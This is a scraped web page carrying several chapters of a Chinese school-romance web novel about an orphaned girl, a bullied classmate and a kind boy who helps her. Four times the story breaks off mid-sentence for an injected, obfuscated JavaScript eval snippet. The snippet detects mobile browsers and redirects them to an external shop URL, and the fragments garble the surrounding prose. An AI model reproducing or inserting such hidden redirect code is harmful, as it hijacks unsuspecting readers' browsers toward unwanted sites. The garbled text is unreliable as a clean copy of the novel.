是以林晶虽然一开始有些不悦，但是看见这只是个无关紧要的人，应该不会对自己产生什么影响，她也就懒得浪费心思在这个人身上。 林晶一向认为，贱民的无能狂吠就和路边的野狗叫唤一样，只是听个响而已，不会造成什么后果，根本无需过多在意。 甄安然倒是真的挺不开心的，她觉得自己被冒犯到了。 可是她看见林晶和寇依宁都没有回击，歪头想了一下，便没有出声。 她只是安静地盯着那条狼狗。 那几个小喽啰倒是七嘴八舌地骂了回去，得到的回应是狼狗汪汪汪的警告声。 他们见这三个头头都没说话，慢慢地也就偃旗息鼓了。 一群人沉默片刻，最后还是灰溜溜地离开，只留下一句“晦气”。 而那条狼狗则一直颠颠地在后面跟着她们。 季希明显能感觉到，在狼狗的追逐之下，这群人的脚步有些狼狈。 看来，真的都是欺软怕硬呀。 不怕手无寸铁的人。 却惧怕亮出獠牙的恶狗。 季希虽然被那盆水殃及了一点点，但是也算因祸得福，得以解围。 当即决定掉转头原路返回，然后从大路返回孤儿院，以免从这边出去碰见这些人再招惹不必要的麻烦。 季希正准备离开这个是非之地，却蓦地想起来，既然有霸凌者，肯定也有被霸凌的人。 应该就是吴焕晗吧。 她这会儿走了吗？ 季希不知道，自己应不应该过去看一下她。 这里这会儿也没什么人经过。 万一她需要帮忙，却没有人可以求助，岂不是叫天天不应、叫地地不灵？ 季希犹豫了一会儿，还是决定过去看看。 季希这边还没从地上站起来呢，对面的门又打开了，刚刚那个泼水的魁梧青年拿着家庭医药箱出来，往岔路口右边走去。 季希决定先按兵不动，再听一听，看看情况。 只听那魁梧青年问道：“你没事吧？” 那个女生只是简单地回答：“谢谢关心，我想一个人待一会儿。” 声音虽然还有些哽咽颤抖，但是感觉情绪已经完全平静下来了。 季希其实和吴焕晗也没有说过很多话，所以她对吴焕晗的声音并不算很熟悉。 她无法确定这人到底是不是吴焕晗。 但是根据刚刚这个魁梧青年的一系列行为来看，他应该是一个见义勇为的好人。 既然如此，季希便没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577955|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续逗留在这里的必要了。 她轻轻地推着车原路返回。 小路上还是一片昏暗，但是好在有明月高悬。 今夜月明，相比昏暗的路，季希更害怕身后的那些人。 恶人明明比恶狗，更叫人胆寒。 推着车走了好长一段路，才终于见到了还没坏的路灯。 季希估摸着那边应该已经听不到这里骑车的声音，急忙轻巧地上车，脚蹬得飞快，火速逃离了这个是非之地。 终于回到大路上，季希舒了一口气。 耽误了这么久，回去肯定时候不早了，院长妈妈一定很担心。 季希像一阵风一般向着回孤儿院的道路骑去。 沿街的树影不断地后退。 高高的路灯。 五颜六色的招牌。 来往的行人。 等等，招牌？ 她刚刚好像看到“南巷”两个字了？ 季希按住刹车，把自行车往回倒了两步。 看着眼前这家装潢精美的门面，她恍然大悟。 怪不得，怪不得。 她在学校旁边的南巷里翻来覆去地来回倒腾，就是没见着吴焕晗的影儿。 原来林晶她们说的压根就不是那条小吃街。 也对，那条街所在的道路名称本来就不是南巷。 那里是因为位于市一中的南边才被学生们称为南巷。 而这里，才是林晶她们口中的那个真正的南巷。 “南巷”不是巷子名，也不是街道名。 竟然是个店名。 她刚刚从巷子里原路返回，又沿着大路骑行了一段路程才到达这里。 但是如果从刚刚遇见林晶几人的那个岔路口沿着小路出来，离这里就会非常的近。 虽然旁边就是城中村，但是这条大路两边的店铺都很豪华，装潢也十分富丽堂皇。 这里有家店叫南巷，自己每天经过，竟然从未注意到这里。 季希有些懊悔。 今天白白在小吃街耽误了不少功夫。 若是能直接来这里，只要能早来一步，是不是就能让吴焕晗免受这场无妄之灾？ 不过…… 季希越看，越觉得这里不像是餐馆饭店之类的场所。 现在按道理正是饭点，可是却没什么顾客出入。 门口也不见服务生。 从外面看不到里面是什么情况。 季希一个人也不太敢进去。 她今天就是因为管了太多闲事，才会无故生出这么多事端。 算了，赶紧回去吧，这么晚了。 季希蹬着自行车，晚风吹在脸上，拂去了她心中的烦躁。 她突然就想起同桌于棠曾经拍着她的肩膀，颇有些语重心长：“见到林晶、甄安然、寇依宁她们几个，一定要躲着走，别招惹。” 季希当时弱弱道：“我听说一班都是大神中的大神，我们这普通班，应该和她们不会有什么交集，更加不会招惹到她们吧。” 于棠摇了摇头：“不不不，年轻人，不要言之过早。” “你永远不知道命运会安排你在什么时候遇到疯狗。命运的漩涡，势不可挡。” 实话实说，当时季希对于棠说的这一番话不太理解。 现在，她明白了。 可是却明白的太晚了。 她今天就为自己当初的单纯和不以为意付出了代价。 不过，惹不起，总躲得起吧。 季希决定夹起尾巴做人。 但是，她本来也不显眼呀。 如此平凡的她，根本也高调不起来。 她们不会注意到她的。 这样一想，季希就放心多了。 之前季希以为于棠的话多少带着偏见，也许其中有部分事实，但难免会有些夸张，失之偏颇。 现在看来，于棠说的那些还是保守了。 而她脸上现在流的泪，就是自己当时脑子里进的水。 季希决定把今晚在巷子里发生的事烂在肚子里。 起码要先观望一阵子。 5. 君本少年游侠客 第二天，风和日丽。 季希临出门前特意去院长妈妈屋里看了眼老黄历。 不错，今天是个好日子，利见贵。 看来她今天必能逢凶化吉，不会出现昨天那种惊险的情境。 她顺利地一路骑车到学校，进入班级，坐到位置上。 “棠棠早上好。”季希笑眯眯地和同桌于棠打了个招呼。 她们俩的位置挨着窗户，不过不是走廊那一侧的窗户。 高一教学楼旁边刚好是市一中校园里唯一的人工湖。 从这儿望出去可以看见蔚蓝如洗的天，秋日金黄的叶，以及在微风下漾起涟漪的湖水。 视野极佳。 这会儿，于棠正进行着她最近每天早上必做的功课。 面朝窗外…… 晒太阳。 于棠闭着眼睛打招呼：“希希早。” 季希笑：“等我考上大学……不，等我工作挣钱，自己能养活自己以后，我也整这么个习惯，每天早上光明正大地闭眼摸鱼。” 于棠纠正道：“这不是摸鱼，这叫冥想。” 季希煞有介事地点头道：“对，还得出师有名，必须要美其名曰为冥想。” 于棠睁开眼，把手伸到季希胳膊下挠她痒痒：“好你个季希，一大早就来开我玩笑，你个大聪明。” 季希最怕痒，笑得眼泪都流出来。 于棠松开手，想了想，说道：“我觉得呢，努力是一辈子的事情。人的现在就是未来，未来就是现在。你现在拼命努力，以后只会更努力，拼命一辈子。” 季希咬着牛奶的吸管直摇头：“有点深奥。” 于棠一边从书桌里拿出早读要用的英语书，一边说道：“我是觉得，既然努力是你一辈子里最为稀松平常的事情，那就让这个状态融进你的日常生活，看淡它。” “凡事必有阴阳，也就是正反两面。” “那么，有努力的时间，就应该有放松的时间。” “让阴阳之间互相促进、互相转化，有利于事物的发展。” “也就是说，人得张弛有度，这样才能走得更远。” “毕竟人一走就得走一辈子。” “别太透支，也别太懈劲儿，就保持这个持续的、最平淡的、张弛有度的、随时努力随时放松的状态走，一直走。” “这样有利于人这一辈子的可持续发展。” “毕竟也不是就活这几年，我想活一辈子。” 季希本来在笑，听着听着就愣住了，半天憋出一句称赞来：“棠棠，你真的好有文化。” 她有些感慨：“没想到哲学家竟在我身边。” 于棠叹口气：“其实是因为我看到了个报道，又有个地方的大学生跳楼了。” 季希的关注点奇奇怪怪：“又？” 于棠摊了摊手：“我以前还看到过高中生、硕士生、博士生跳楼的新闻，也看到过其他大学生自尽的新闻。反正什么年龄段的学生都有人跳楼。” 季希瞠目结舌：“是我太孤陋寡闻了吗？他们为什么跳楼呀？” 于棠像个老大爷一样皱着眉，无奈且痛心：“各种理由都有。” 她掰着手指头给季希列举：“小学生和初中生里，有因为被家长打跳楼的，有因为被老师批评跳楼的，有因为父母离婚跳楼的，有因为亲人去世跳楼的。” 于棠举着一个巴掌，用另一只手点着这只手上的五个手指头：“你看，光小学生和初中生就有这么多理由自杀。” 她接着又用另一只手数：“高中生里有因为校园霸凌跳楼的，有因为学习压力太大跳楼的。大学生、硕士生、博士生里，有因为和导师关系不好跳楼的，有因为毕不了业跳楼的，有因为失恋跳楼的。对于放弃生命而言，理由多的用一双手都数不过来。” “可……对于珍惜生命而言，不是同样也有很多理由吗？”季希的眼中露出迷茫。 于棠：“其实我觉得，一个人如果失去了生的希望，什么外界的因素都有可能成为导致他放弃自己的理由。” “人的整个世界一崩溃，一陷入死胡同，就很难往开处想。” 听到这些，季希感到胸口闷闷地升腾起一种酸涩且失落的情绪。 她正准备说些什么，于棠碰了碰她，示意她看走廊。 班主任已经来了，站在走廊上盯着班级里同学们的各种小动作。 季希收起心思，拿出英语书开始早读。 叮铃铃，叮铃铃。 早自习开始了。 同学们都自觉拿出英语书大声读起来。 一天的忙碌学习就这样开始。 第四节课是体育课。 一般大家跑两圈之后，体育老师就会让大家解散，然后自由活动。 同学们就都自由安排，打球、跑步、散步、聊天，都可以。 或者直接回教室自习也行。 季希本来想去坐在阴凉处，却硬是被于棠拉到单杠底下晒太阳。 于棠振振有词：“整天都坐在阴凉的教室里，好不容易有机会出来晒太阳，可以增强人体内的阳气，要抓住机会，怎么还能去阴凉处坐着呢？” 当季希靠在单杠上感受秋阳的燥烈时，为自己竟然被这样的理由说服而开始质疑自己的智商。 于棠看见季希一副怀疑人生的样子，扶着季希的肩膀笑得腰都直不起来。 “希希，你可太好玩了哈哈哈哈哈……” 两个人就这样靠在单杠上有一搭没一搭的聊天。 季希总是走神，好几次都没听清楚于棠说的话。 于棠早就发现季希一上午都有些心不在焉。 现在看季希仍然有些唏嘘不已、一直难以释怀的样子，于棠感到很惊奇：“希希，你以前没听说过有学生跳楼？” 季希摇头：“没有听说过。” 于棠：“唉，是我多嘴了。希希你还是要振作起来呀。” 季希点点头，表示明白。 她环顾四周。 现在这个时间点，男生们要么在操场上踢足球，要么在旁边的篮球场打篮球。 女生们要么去给男生们加油，要么在排球场练习打排球，还有些坐在操场旁的主席台上休息闲聊。 剩下的学生零零散散地分布在校园里。 这边人很少。 季希凑到于棠耳边悄声问道：“棠棠，咱们学校没有人跳过楼吧？” 看着季希充满希冀的目光，于棠沉痛道：“去年有个高三的学生跳过楼。” 季希的面容呆滞住。 于棠：“前几年好像也有，隔几年就有一回两回。” 季希一脸不敢置信。 于棠：“别侥幸了。” 季希捂嘴，两只眼睛瞪成了两个圆：“我……我们学校竟然也有？太可怕了。” 于棠：“看看这是哪儿？这是南庐市最好的高中，甚至在全省也算排得上号，竞争之大可想而知。这么大的压力之下，肯定有重点班的学生受不了，太正常不过了。” 默了一瞬，于棠又摇摇头：“不过就是这种‘正常’，才显得太不正常了……” 这时，操场上突然传来一阵喧闹，有人大声喊道：“小心！” 季希循声回头看去，发现有球正往这边砸来。 她惊道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577956|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有球！”边说边拉着于棠往旁边躲。 结果咣当一下，球正中季希的后背。 于棠有些哭笑不得，本来不躲反而不会被砸到，结果一跑，恰好跑到了那球的射程里。 她问季希：“感觉怎么样？疼吗？” 季希疼得泪眼盈盈：“好……疼……哇……呜呜……” 这时候，那边看到球砸到人，有同学赶紧跑过来。 于棠远远地望去，那个男生一定是个大帅哥。 等那人跑近，于棠感慨。 真的好帅，比她以前见到的男生都要好看。 最重要的是气质。 一般人的高冷，带给别人的都是高傲和冷淡。 但是他身上的冷，带着种纯净与清透，虽然高冷，却不是不可接近。 这个男生穿着足球服，整个人十分白净，挺拔的身姿就像是西北的白杨。 他走来时，仿佛也带来了西北冷冽的风。 以前初中那群女生围着的蔡柯岩和凌舟，要是和他站在一起比一比，那都得被比成庸脂俗粉。 这一刻，于棠突然觉得自己化身妈粉。 这么个漂亮的宝贝可一定要保护好自己，别被林晶、甄安然、寇依宁那几个人看见。 *** 程景逸见足球砸到人，忙让替补同学上来顶替自己，然后立即向被砸的同学跑过去。 他一走近，就看到被砸到的女生抱着头一脸痛苦。 而且恰好就是昨天有过两面之缘的那个女生。 她旁边的女生则盯着他…… 一脸慈祥？ 程景逸虽然很奇怪，但是他知道目前最重要的事情是什么，便没有多想，只是问这个已经是见了第三面的女生：“你还好吗？” 季希沉浸在突如其来被砸的疼痛和没想到真的会被砸到的震惊当中，根本没有听到旁边有人在和她说话。 季希从小生活在孤儿院。 院长妈妈是个非常信佛且重视因果报应的人。 季希耳濡目染，常常会有一些别人难以理解的奇特想法。 她的脑子现在一片混乱。 昨天不小心看到了校园霸凌，却没能阻止。 今天又听说有人会因为校园霸凌而自杀。 季希一下子十分害怕。 今天吴焕晗是不是没来上课呀，都没有看到她人。 吴焕晗不会出事吧？ 老天不会因为她昨天没能成功救到人而惩罚她吧？ 现在她不就被砸了吗！ 程景逸问了好几遍，却没有得到回答。 现在见这个女生不再抱着头，却开始发抖。 他以为这个女生被砸得痛到说不出话来，神色立马凝重起来。 程景逸和这女生的同伴说道：“她这个情况得先去医务室看一下。” 于棠点头：“好。” 确实，季希毕竟被砸到了，去看一下还是放心一些。 而且，季希这个情况着实有些奇怪，她被砸到的明明是背啊？ 于棠准备扶季希去学校医务室。 她刚伸出手，还没碰到季希的衣袖。 就听男生说了句“抱歉，事急从权”，然后，他把季希抱起来了？ 还是公主抱？ 那男生抱起季希就走，于棠只得跟上。 季希猛地被抱起来，离开地面的危机感将她从自己的思绪中抽离出来。 她这才意识到目前的状况。 陌生的气息笼罩着她。 男孩子的心跳。 有力的胸膛。 是她完全没有遇到过的情景。 6. 君本少年游侠客 季希整个人仿佛凝固了，不知所措。 但有一点她知道。 她得结束这个场景。 季希抬头。 眼前的侧脸棱角分明。 鼻梁很高。 剑眉英挺。 额头上挂着汗珠。 这是昨天傍晚见到的那个男生。 他现在的表情，比昨天生动很多。 季希一下子不知道如何开口。 她有点害怕这个人。 面对自己脑海中突然出现的这个想法，季希大吃一惊。 她不明白自己为什么会这么想。 可是在试图张嘴说些什么，却屡次失败之后，季希放弃了。 她看见于棠也跟在旁边，心里面稍微安定了些。 程景逸把女生抱进医务室。 医务室的医生见有人被抱进来，赶紧引着人进去：“放到二号床上。这是怎么了？” 程景逸：“不小心被足球砸到了，可能是太疼了，人当时有点发抖，说不出话来。医生您看看这是什么情况？” 医生点头：“叫什么名字？” 程景逸：“程景逸。” 程景逸上周踢球摔倒擦伤，来过医务室，所以医生认得他，对这张这么帅气的脸很有印象，他的名字医生自然知道。 医生指着女孩笑道：“我是说这个女娃叫什么。” 程景逸也不知道。 他看向女孩的同伴。 当于棠准备说时，季希回答道：“我叫季希。” 于棠惊喜：“希希，你恢复过来了。” 程景逸也舒了一口气。 能说话就好。 季希点头：“我现在感觉好多了。” 程景逸：“还是请医生做个检查吧。” 季希默默点头。 在程景逸的强烈要求下，医生给季希非常认真地做了检查，最后得出结论：“这女娃健康得很，当时可能是被吓到了，惊吓大于疼痛。” 医生对程景逸道：“不过，她后背被砸到的地方之后可能会有淤青，看你这么紧张，我还是给她开一点外用和内服的药，这样好得快一些。” 程景逸和医生一起走到办公桌前，点头道：“好的，您开好单子我去付钱拿药。” 这么一折腾，体育课已经下课，到中午吃饭的时间了。 而程景逸还穿着球衣和球鞋。 他对季希道：“季同学，今天真的抱歉，因为我们班同学踢球时的疏忽，让你受到了惊吓，我再次向你道歉。” 季希连忙摆摆手，“没事的，虽然当时有点疼，但是很快就恢复过来了。我确实是惊吓大于疼痛，主要我之前没被砸过，头一次被砸到，需要适应一下……” 越解释，越觉得自己很奇怪。 可真正的原因，关于吴焕晗，关于校园霸凌，关于心中的恐惧，却都没办法说出来。 季希闭上了嘴巴。 程景逸笑了。 如果说，不笑的时候他是雪山水，西北林。 那么，他笑起来，就像是山涧春水映照出的粼粼波光，灿烂而美好，热烈，却不像直视太阳那般刺目。 季希心中的不安奇异地在这一刻被抚平。 她捏着手里的塑料袋，鼓起勇气说道：“同学，药钱你刚刚说不要，那我中午请你吃饭，谢谢你今天照顾我。” 程景逸：“其实本来今天中午应该是我请你们吃个饭赔礼道歉的，只是我现在还有点事情，改天有机会我请你们吧。” 程景逸又看向于棠：“十分抱歉，今天也耽误……”他看着于棠，似乎在想该怎么称呼她。 于棠笑：“我叫于棠，海棠的棠。” 程景逸点头：“今天也耽误于棠同学你的时间了，十分抱歉。” 于棠摆摆手。 程景逸的目光重新落到季希身上：“季希，我是高一（一）班的程景逸。虽然现在你感觉状态还好，但凡事还是小心为妙，你如果最近几天因为这个伤又出现什么不舒服的地方，可以来我们班找我，我带你去市医院。” 季希点点头。 程景逸感觉季希这个姑娘看起来还是很虚弱的样子。 他心里很愧疚，便道：“别客气，有事可以来找我……” “程景逸——” 几人从医务室出来，已经快走到高一教学楼了，这时候迎面有男生喊程景逸。 正是邵平风。 程景逸对季希叮嘱道：“我现在有点事，先走了，有事一定来找我啊。” 他对于棠也打了个招呼：“先走了。” 然后便向邵平风跑过去。 邵平风跳起来一把揽住程景逸的肩膀。 俩人一起往学校外走去。 邵平风一张嘴总是叨个不停：“说好了中午去我家吃饭，等了你半天，你同学说你陪女生去医务室了？” 程景逸点头：“踢球不小心砸到别人了。” 邵平风：“没什么事吧？” 程景逸：“目前没什么事。” 邵平风：“那就好。我刚才远远地看了一下，那不就是昨天晚上在饭店碰到的那个女生吗？” 程景逸：“嗯。” 邵平风：“还挺有缘。” 程景逸：“嗯。” *** 季希明白，程景逸那句“有事一定来找我”，指的是，如果因为被砸而身体出现问题就去找他。 可她听到这句话时，心里仿佛一下子有了依靠。 好像她今天的彷徨迷茫都有了一个稳定的归所。 虽然只是陌生人的安慰。 但也让她得到了一点慰藉。 也许，她可以战胜的。 于棠伸手在容清洛眼前晃了晃：“希希，怎么啦？” 季希抿唇，摇头道：“没什么。” 于棠挑眉：“人都走老远了，还盯着背影出神，我喊了好几声都没反应，还没什么。” 她将胳膊搭在季希肩上，调侃道：“他长得不错哈？” 季希回想起男生清却不寒的眼，点头：“长得好。” 于棠笑：“有眼光。” 俩人一起往食堂走去。 于棠：“说起来，程景逸还挺负责，生怕给你砸出个好歹来。” 季希不住地点头，说道：“而且好有礼貌。一点都不像外表那样高冷，人也很热情。” 于棠已经升级为妈粉了：“程崽崽这么好看，怎么之前没听说呢？” “按道理，他是一班的大神，模样又这么帅气，说是校草也不为过吧？蔡柯岩和凌舟都比不过他呢。他以前肯定不是一中初中部的……” 蔡柯岩？ 季希警惕起来。 这个名字昨天反复地被甄安然几人提及。 好像她们几个之所以盯着吴焕晗不放，就是因为这个人。 果真红颜祸水。 季希：“棠棠，你刚刚提到的蔡柯岩是谁？” 她说完，怕自己表现得太明显，连忙补充问道：“凌舟又是谁呀？” 于棠一拍脑门：“哦对，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577957|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以前不是市一中初中部的，所以你没听说过他们。” 一讲到八卦，于棠可就来劲儿了，她一遍倒着走，一边和季希科普。 “蔡柯岩和凌舟都是和我们同级的同学。两个人从在一中初中部的时候就是风云人物，因为长相、成绩、家世都不分伯仲，难分上下，私下里被女生们评价为既生瑜何生亮。” 季希：“哇哦，好像电视剧里的情节。” 于棠：“谁说不是呢。不过根据小道消息啊，注意，是小道消息，虽然之前都说蔡柯岩会在市一中读书，但是实际上他好像已经出国了。” 季希：“啊？为什么呀？” 昨天林晶她们也这么说，看来这件事情应该还是很有可信度的。 于棠摇头：“这我也不知道。但是这确实挺奇怪的。不像是早就计划好的，倒像是发生了什么事情，暑假的时候临时决定出国读高中的。” 季希沉吟。 难道，这件事和吴焕晗有关系？ 两人来到食堂。 已经过了人最多最拥挤的时候，此时食堂的人不算多。 两个人直接到窗口打了饭，坐到窗边。 于棠心情愉悦：“不用排队真是太爽啦。” 季希点头赞同：“下次可以这个点儿来。” 于棠：“不过我更希望老师早点下课，然后在大部队还没到的时候吃最热气腾腾的饭。” 季希叹气：“梦里什么都有。” 于棠：“说起来，我本以为蔡柯岩一走，这校草宝座必然非凌舟莫属呀，哪想到竟然杀出程景逸这匹黑马？可惜程景逸目前还没什么名气。” 她眯着眼，撑起下巴：“没关系，酒香不怕巷子深。程崽崽虽然现在没有名气，但是，我有预感，不说全校，在咱们年级，他以后肯定很受欢迎。” 季希疑惑：“大家的时间都这么充足吗？我感觉每天光学习就占据了我全部生活，如果不是棠棠你给我讲这些，我可能完全不知道这些八卦，也没有时间去关注。” 于棠：“哎呀，压力这么大，才要有一些八卦来调剂生活嘛。” 季希点头：“也对。” 她低头快速干饭，想着待会儿要不要去问一下班长吴焕晗今天为什么没来。 坐在她对面的于棠发出了“咦”的一声。 季希抬头：“怎么了？” 于棠示意季希回头：“你看。” 季希一扭头，就发现刚刚还很空旷的右后方那片区域现在坐了两个人。 其中一个，赫然就是寇依宁。 寇依宁对面坐着的那个男生，戴着眼睛，斯斯文文，但是却毫不遮掩他的气场，看起来就很不好惹，也很帅气。 季希环顾一圈，没有在这附近瞧见林晶和甄安然。 于棠见季希吃的差不多了，低声使眼色道：“咱们快走。” 季希点头，麻利地收拾东西走人。 两人快速地走出食堂。 走下食堂的台阶，于棠将手搭在额上，眯着眼睛仰视太阳，感慨道：“今天这是什么运气……” 季希：“是因为碰见寇依宁了吗？” “要是光有她，咱们不至于跑这么快。”于棠，“刚那个坐在寇依宁对面的就是凌舟。” 季希面色未改：“哦。” 确实没有程景逸长得好。 “寇依宁竟然背着林晶私下里和凌舟吃饭。啧啧啧，她们这几个人，还真是塑料闺蜜情。”于棠拍拍胸口，“我实在是怕被殃及池鱼。” 季希：“怎么说？” 7. 君本少年游侠客 于棠从兜里拿出一张纸巾，卷成筒充当话筒，她清了清嗓子：“咳咳，又到了于棠棠小课堂科普时间。” 她像一个说书人一样，眉飞色舞地讲了起来：“在青春洋溢的校园里，少男少女的故事总是最让人心动的八卦。” “遥想当年，在市一中初中部有那么一群少男少女，可谓是青梅竹马情，门当且户对，真是赚足了吃瓜群众的眼球。” “寇依宁是后来转学过来的，她我们暂且不提。简而言之，就是林晶喜欢凌舟，甄安然喜欢蔡柯岩。” “凌舟和蔡柯岩虽然在吃瓜群众眼里是王不见王的竞争对手，可他们俩实际上好得能穿一条裤子，从小就是好哥们儿。” “说真的，他俩连审美都挺相似的，一开始都和吴焕晗关系不错。不过后来蔡柯岩和吴焕晗关系更好以后，我看凌舟好像和吴焕晗的来往就少一些了。” “所以呀，吴焕晗身边的人事也比较复杂，你能离她远一些就远一些，别太掺和进去，免得给自己找麻烦。” 季希若有所思，半晌感慨道：“这群人的关系好复杂。” “这不就正应了那句话——世上本无事，庸人自扰之。”于棠摇头晃脑，“咱们就是看个热闹，看完热闹还是回归自己的清静日子为好。” 回到教学楼后，于棠先回教室，季希则拎着装药的袋子去卫生间贴膏药。 走出卫生间时，季希看见洗手池边立着一道亭亭玉立的身影，正是吴焕晗。 此时吴焕晗正挽起裤腿，将纸巾在水龙头下冲水沾湿，然后擦拭膝盖。 她听到身后传来脚步声，抬头，直起身子。 吴焕晗的五官艳丽，个子高挑，很有气场。 两人的视线在镜子中相撞。 季希满肚子的疑惑却问不出口，只好礼貌微笑。 吴焕晗见到季希，突然想起什么，说道：“季希，我昨天有点急事，所以忘记要值日了，下次轮到咱俩值日的时候你不用干了，我全做。” 吴焕晗看着有些生人勿进。 所以对方主动开口是季希没想到的，她摆手道：“没关系没关系，都是小事。” 犹豫一番，季希又道：“焕晗，你今天上午怎么没来上课，是遇到什么事情了吗？需要帮助吗？” 吴焕晗不想多言：“谢谢，我能搞定。” 季希想起程景逸给的袋子里好像有无菌敷贴，她连忙翻找，果真找到几张，甚至还有一些创可贴。 没想到他这么细心。 季希拿出无菌敷贴和创可贴，递到吴焕晗面前：“你应该能用上。” 吴焕晗下意识地拒绝道：“不用，我自己可以。” 她其实不愿意随意接受别人的施舍。 之所以想要问蔡柯岩借医药费，也是她实在没有办法后的无奈之举。 但是她现在明白了，永远不要把希望寄托在他人身上。 人能相信的，永远只有自己。 季希的手依然托着无菌敷贴和创可贴，她小声坚持道：“我刚刚看见都流血了。” 吴焕晗抬眼，这时候她的目光才真真正正地落在季希的脸上。 她审视着季希。 季希的面容实在普通，表情小心翼翼，说话也怯声怯气的。 唯一出彩的可能就是那双眼睛。 纯净，赤诚，清澈。 还没有被社会污染过。 可她不需要任何人可怜。 她吴焕晗还轮不到季希这样平凡的人来怜悯。 吴焕晗想到这里，眯着眼，开口时虽然还笑着，却已经带了几分冷意：“季希，谢谢你的关心，但是我不需要。” 她知道这分冷意不是冲着季希，而是冲着她自己。 她恨自己的无能，恨自己在社会面前的弱小，恨自己的无能为力。 仔细观察吴焕晗的状态，季希心里已经隐隐可以确认，昨天被林晶几人威胁欺负的人就是吴焕晗。 她将无菌敷贴和创可贴放在洗手台上，对吴焕晗笑了笑：“放在这里啦，我先回教室了。” 吴焕晗清洗完伤口，本欲离开。 但是临走之际，她的目光又落回洗手台上。 片刻后，吴焕晗转身向外走去。 可最终，她还是在迈出门之前，又转身回来将台上放的东西拿起，塞进兜里。 她这一路，遇到的善意不太多，所以她始终还是不愿意看见人们给出的善意被别人毫不在意地抛弃在角落里。 之后，季希常常有意无意地关注吴焕晗的影踪。 也许因为那几张无菌敷贴和创可贴的情谊，吴焕晗也偶尔和她聊聊天。 吴焕晗从未在她面前提过校园霸凌的事情，而且季希能感觉到，吴焕晗的身心似乎并没有太受那件事情影响。 季希一方面感慨吴焕晗心理素质的强大，一方面也就慢慢释然。 *** 日子就这样平淡地流逝，天气渐渐变冷，转眼已到初冬时节。 由于孤儿院的条件不太好，没有暖气，季希晚上写作业的时候总是冻得手拿不了笔，所以她就养成了留在教室上晚自习的习惯。 教室里有暖气，等完成作业之后她才会回孤儿院。 这一天傍晚，天格外阴沉，乌云滚滚。 季希埋首在习题册中，没能及时注意到窗外天色的变化。 教学楼的水泥屋檐很宽，雨水浇在上面并未发出太大的声响。 等季希终于做完题目，抬首才发现外面竟然下起雨来。 糟糕的是她没有带伞，而此刻教室里已经没有其他同学在了。 看来今天只能淋雨回去了。 下雨连自行车都无法骑，只能坐公交，好在自行车停放在车棚里不会被淋到雨。 季希背着书包站在高一教学楼的一楼，看着雨水不断地低落，在她面前形成一道雨帘。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577958|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这会儿雨比较大，她决定等一等，待雨势稍微小一些再走。 教学楼前种着几棵腊梅。 季希站在台阶上，抬头看着雨水冲刷腊梅的枝干。 路灯之下，她竟然发现枝头上已经结了一些浅黄色的花骨朵。 一时间被雨打腊梅的情景吸引住，季希就这样呆呆看了一阵。 “你没带伞？”身后有人问道。 季希回头，瞧见已经许久未见的程景逸。 这个时间，这个场景，实在是没有想到会遇见他，是以季希一时没有反应过来。 “是你。”女生回头，程景逸认出这是他之前踢球时砸到的女生。 想到自己还欠她一顿饭，程景逸笑道：“你不认识我了吗？这学期刚开学的时候，你在足球场被我们班同学不小心砸到，我还送你去医务室呢。” “我当然记得，只是没想到现在教学楼竟然还有人。”季希解释道。 程景逸：“我见你站在这里有一段时间了，是没有带伞吗？” 季希：“是呀，所以在为冲进雨中做心理建设。” 程景逸将手里的伞递过去：“这把伞给你。” 见季希呆呆愣愣地没有接，程景逸将伞塞进她手里，说道：“别做心理建设了，拿着伞快回家吧。” 季希捏着伞柄，仿佛捏着自己的心弦：“那你怎么办？” “没事的，我同学过一会儿就下来，我和他打一把伞。”程景逸笑笑，“很晚了，你快回家吧。” 也许是程景逸的目光太过温暖，季希听话地点点头：“真的太感谢你了，我明天把伞还给你。” “小事。”程景逸笑得很潇洒，眼眸亮如繁星，“重新自我介绍一下，我是程景逸，行侠仗义、扶助弱小就是我的人生信条。” 他伸出手，笑道：“谢谢你今天让我有了行侠仗义、实现自我价值的机会。” 季希看着递到自己面前的手，微微一顿，伸出右手握了上去。 温暖而有力量、怀揣着中二理想的热忱少年。 